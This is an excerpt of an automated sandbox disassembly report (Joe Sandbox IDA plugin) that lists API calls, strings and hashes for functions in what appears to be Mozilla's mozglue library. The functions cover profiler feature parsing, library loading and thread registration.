strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C60CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C60CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C60CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C60CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C60CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C60CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C60CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C60CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C60CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C60CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C60CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C60CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C60CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C60CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C60CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C60CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C60CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C60CE8A

Strings

mainthreadio, xrefs: 6C60CC7C
leaf, xrefs: 6C60CC66
samplingallthreads, xrefs: 6C60CE2C
preferencereads, xrefs: 6C60CD92
fileio, xrefs: 6C60CC92
nostacksampling, xrefs: 6C60CD7C
screenshots, xrefs: 6C60CCD4
jsallocations, xrefs: 6C60CD0E
markersallthreads, xrefs: 6C60CE42
cpuallthreads, xrefs: 6C60CE16
notimerresolutionchange, xrefs: 6C60CE00
ipcmessages, xrefs: 6C60CDBE
audiocallbacktracing, xrefs: 6C60CDD4
seqstyle, xrefs: 6C60CCE6
java, xrefs: 6C60CC37
fileioall, xrefs: 6C60CCA8
processcpu, xrefs: 6C60CE6E
power, xrefs: 6C60CE84
default, xrefs: 6C60CC21
stackwalk, xrefs: 6C60CCF8
nativeallocations, xrefs: 6C60CDA8
noiostacks, xrefs: 6C60CCBE
unregisteredthreads, xrefs: 6C60CE58
Unrecognized feature "%s"., xrefs: 6C60CEA0

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: f024ef2f86313e23e549c01f220e9acb0c1546119d6e5f6d12020b380653de6b
Instruction ID: 0157032341d49200f80903b149b0c9f35765b3cae3350caac7a101b7dc0dce10
Opcode Fuzzy Hash: f024ef2f86313e23e549c01f220e9acb0c1546119d6e5f6d12020b380653de6b
Instruction Fuzzy Hash: F05156C1B4563572FA0931156E20BAA1485EF6334AF107539EE0FB5EC0FB059A1AC9BF

Function 6C5D4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5D44B2,6C64E21C,6C64F7F8), ref: 6C5D473E
Part of subcall function 6C5D4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5D474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5D44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5D44D2
InitOnceExecuteOnce.KERNEL32(6C64F80C,6C5CF240,?,?), ref: 6C5D451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5D455C
LoadLibraryW.KERNEL32(?), ref: 6C5D4592
InitializeCriticalSection.KERNEL32(6C64F770), ref: 6C5D45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5D45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5D45BB
InitOnceExecuteOnce.KERNEL32(6C64F818,6C5CF240,?,?), ref: 6C5D4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5D4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5D4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5D466D
VerSetConditionMask.NTDLL ref: 6C5D469F
VerSetConditionMask.NTDLL ref: 6C5D46AB
VerSetConditionMask.NTDLL ref: 6C5D46B2
VerSetConditionMask.NTDLL ref: 6C5D46B9
VerSetConditionMask.NTDLL ref: 6C5D46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5D46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5D46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5D46FD

Strings

Gdl, xrefs: 6C5D44FC
l, xrefs: 6C5D4578
kernel32.dll, xrefs: 6C5D44CD
WRusr.dll, xrefs: 6C5D44B5
NativeNtBlockSet_Write, xrefs: 6C5D46F7
user32.dll, xrefs: 6C5D4557, 6C5D463F

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gdl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-301897313
Opcode ID: dfcf9ecb1b733e6f8406dd1ba99d4c3203ed45f77ae68f5896885df8366b912a
Instruction ID: 51a20b3266608fa42c321d5f3ae4b49736d366ba45dafb63ee19ce4b4190214e
Opcode Fuzzy Hash: dfcf9ecb1b733e6f8406dd1ba99d4c3203ed45f77ae68f5896885df8366b912a
Instruction Fuzzy Hash: E56135B0604344AFEB00AF66CC89B997BB8EF8230CF05C558E5088B641D7B5A945CF5E

Function 6C60F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C60F8F9

Part of subcall function 6C5D6390: GetCurrentThreadId.KERNEL32 ref: 6C5D63D0
Part of subcall function 6C5D6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5D63DF
Part of subcall function 6C5D6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5D640E

ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F93A
GetCurrentThreadId.KERNEL32 ref: 6C60F98A
GetCurrentThreadId.KERNEL32 ref: 6C60F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60F716

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

Part of subcall function 6C5CB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5CB5E0

GetCurrentThreadId.KERNEL32 ref: 6C60F739
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F746
GetCurrentThreadId.KERNEL32 ref: 6C60F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C64385B,00000002,?,?,?,?,?), ref: 6C60F829
free.MOZGLUE(?,?,00000000,?), ref: 6C60F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C60F866
free.MOZGLUE(?), ref: 6C60FA0C

Part of subcall function 6C5D5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5D55E1), ref: 6C5D5E8C
Part of subcall function 6C5D5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5D5E9D
Part of subcall function 6C5D5E60: GetCurrentThreadId.KERNEL32 ref: 6C5D5EAB
Part of subcall function 6C5D5E60: GetCurrentThreadId.KERNEL32 ref: 6C5D5EB8
Part of subcall function 6C5D5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5D5ECF
Part of subcall function 6C5D5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C5D5F27
Part of subcall function 6C5D5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C5D5F47
Part of subcall function 6C5D5E60: GetCurrentProcess.KERNEL32 ref: 6C5D5F53
Part of subcall function 6C5D5E60: GetCurrentThread.KERNEL32 ref: 6C5D5F5C
Part of subcall function 6C5D5E60: GetCurrentProcess.KERNEL32 ref: 6C5D5F66
Part of subcall function 6C5D5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5D5F7E

free.MOZGLUE(?), ref: 6C60F9C5
free.MOZGLUE(?), ref: 6C60F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C60F9A6
" attempted to re-register as ", xrefs: 6C60F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C60F71F
Thread , xrefs: 6C60F789

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 675c8a5a4ac87212e2fa00d4d11fc8287f8480b91e00a571cdadf3b2374ce6c9
Instruction ID: 385152cc5b3dd8d2c2cef2ef1a01191dfae90c6b9163012afbf6e4b40f5fb87f
Opcode Fuzzy Hash: 675c8a5a4ac87212e2fa00d4d11fc8287f8480b91e00a571cdadf3b2374ce6c9
Instruction Fuzzy Hash: 9781E171604600DFDB14EF25C880AAEB7A5EFC5308F44856DE849ABB51EB309C49CB9B

Function 6C60EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60EE60
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60EE6D
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C60EEA5
CloseHandle.KERNEL32(?), ref: 6C60EEB4
free.MOZGLUE(00000000), ref: 6C60EEBB
GetCurrentThreadId.KERNEL32 ref: 6C60EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60EECF

Part of subcall function 6C60DE60: GetCurrentThreadId.KERNEL32 ref: 6C60DE73
Part of subcall function 6C60DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5D4A68), ref: 6C60DE7B
Part of subcall function 6C60DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5D4A68), ref: 6C60DEB8
Part of subcall function 6C60DE60: free.MOZGLUE(00000000,?,6C5D4A68), ref: 6C60DEFE
Part of subcall function 6C60DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C60DF38

Part of subcall function 6C5FCBE8: GetCurrentProcess.KERNEL32(?,6C5C31A7), ref: 6C5FCBF1
Part of subcall function 6C5FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5C31A7), ref: 6C5FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C60EF1E
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60EF2B
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60EF59
GetCurrentThreadId.KERNEL32 ref: 6C60EFB0
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60EFBD
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60EFE1
GetCurrentThreadId.KERNEL32 ref: 6C60EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60F000

Part of subcall function 6C6094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6094EE
Part of subcall function 6C6094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C609508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C60F02F

Part of subcall function 6C60F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C60F09B
Part of subcall function 6C60F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C60F0AC
Part of subcall function 6C60F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C60F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C60EED7
[I %d/%d] profiler_pause, xrefs: 6C60F008

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 8743feaf5845934432dc830479727646c35b72c302566c705b3686bfe2358d20
Instruction ID: 80eb5734095e1c34a1ce3eecd86487ab48b66f74d9bf9d64d7b9062be78f1f13
Opcode Fuzzy Hash: 8743feaf5845934432dc830479727646c35b72c302566c705b3686bfe2358d20
Instruction Fuzzy Hash: B35103357006208FDB087B66D988B9937B4EF8736CF10C525E91593B42DB704805CBAF

Function 6C5D5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5D5E9D

Part of subcall function 6C5E5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5B85
Part of subcall function 6C5E5B50: EnterCriticalSection.KERNEL32(6C64F688,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5B90
Part of subcall function 6C5E5B50: LeaveCriticalSection.KERNEL32(6C64F688,?,?,?,6C5E56EE,?,00000001), ref: 6C5E5BD8
Part of subcall function 6C5E5B50: GetTickCount64.KERNEL32 ref: 6C5E5BE4

GetCurrentThreadId.KERNEL32 ref: 6C5D5EAB
GetCurrentThreadId.KERNEL32 ref: 6C5D5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5D5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C5D6017

Part of subcall function 6C5C4310: moz_xmalloc.MOZGLUE(00000010,?,6C5C42D2), ref: 6C5C436A
Part of subcall function 6C5C4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5C42D2), ref: 6C5C4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C5D5F47
GetCurrentProcess.KERNEL32 ref: 6C5D5F53
GetCurrentThread.KERNEL32 ref: 6C5D5F5C
GetCurrentProcess.KERNEL32 ref: 6C5D5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5D5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C5D5F27

Part of subcall function 6C5DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5DCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5D55E1), ref: 6C5D5E8C

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5D55E1), ref: 6C5D605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5D55E1), ref: 6C5D60CC

Strings

GeckoMain, xrefs: 6C5D5ECE, 6C5D6015

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: c6550384d16417790800d4f809879dab3332305009193c151b9fe93547c837ef
Instruction ID: 353d1629518194f426910a9c0bf079783b86739f0d8d781b3e1f45c107566613
Opcode Fuzzy Hash: c6550384d16417790800d4f809879dab3332305009193c151b9fe93547c837ef
Instruction Fuzzy Hash: 5271A1B0505740DFD700DF29C880A6ABBF0FF8A308F54896DE5868BB52DB31E949CB56

Function 6C5D9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5C31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5C3217
Part of subcall function 6C5C31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5C3236
Part of subcall function 6C5C31C0: FreeLibrary.KERNEL32 ref: 6C5C324B
Part of subcall function 6C5C31C0: __Init_thread_footer.LIBCMT ref: 6C5C3260
Part of subcall function 6C5C31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5C327F
Part of subcall function 6C5C31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C328E
Part of subcall function 6C5C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5C32AB
Part of subcall function 6C5C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5C32D1
Part of subcall function 6C5C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5C32E5
Part of subcall function 6C5C31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5C32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5D9675
__Init_thread_footer.LIBCMT ref: 6C5D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5D9707
__Init_thread_footer.LIBCMT ref: 6C5D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5D9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5D97B7
FreeLibrary.KERNEL32 ref: 6C5D97D0
FreeLibrary.KERNEL32 ref: 6C5D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5D9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5D9670
MapViewOfFileNuma2, xrefs: 6C5D97B1
ntdll.dll, xrefs: 6C5D96E3
NtMapViewOfSection, xrefs: 6C5D9701

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: b27c78d7f61c0cb71f60051aaf3d2ffdd02d563bbcc95cca151e392979ff79d8
Instruction ID: 0063456dc2f848cea51bc35ab1b081df3ca88d651fa2c04067c69784e20cd4e4
Opcode Fuzzy Hash: b27c78d7f61c0cb71f60051aaf3d2ffdd02d563bbcc95cca151e392979ff79d8
Instruction Fuzzy Hash: 9061C471600301DBDF00EF6AEDE4A9A7BB1EB8B318F11C519E91597740DB34A854CB9A

Function 6C626660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C64F618), ref: 6C626694
GetThreadId.KERNEL32(?), ref: 6C6266B1
GetCurrentThreadId.KERNEL32 ref: 6C6266B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6266E1
EnterCriticalSection.KERNEL32(6C64F618), ref: 6C626734
GetCurrentProcess.KERNEL32 ref: 6C62673A
LeaveCriticalSection.KERNEL32(6C64F618), ref: 6C62676C
GetCurrentThread.KERNEL32 ref: 6C6267FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C626868
RtlCaptureContext.NTDLL ref: 6C62687F

Strings

WalkStack64, xrefs: 6C626890

Memory Dump Source

Source File: 00000000.00000002.1924265267.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1924242218.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924365297.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1924399231.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 6212cb2a45e7b3b4cebb4fc826fc2b2f9e541f5443bdc698bbf3f8317ec2b8eb
Instruction ID: 3e0c9fe95e76e1ac90248c9836380137ecf83fa28a5f41a17d2661b618f395ff
Opcode Fuzzy Hash: 6212cb2a45e7b3b4cebb4fc826fc2b2f9e541f5443bdc698bbf3f8317ec2b8eb
Instruction Fuzzy Hash: 9C51AC71A09301AFD711DF25C884A9EBBF4FF89718F00892DF99987640D774E9098F9A

Function 6C60DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

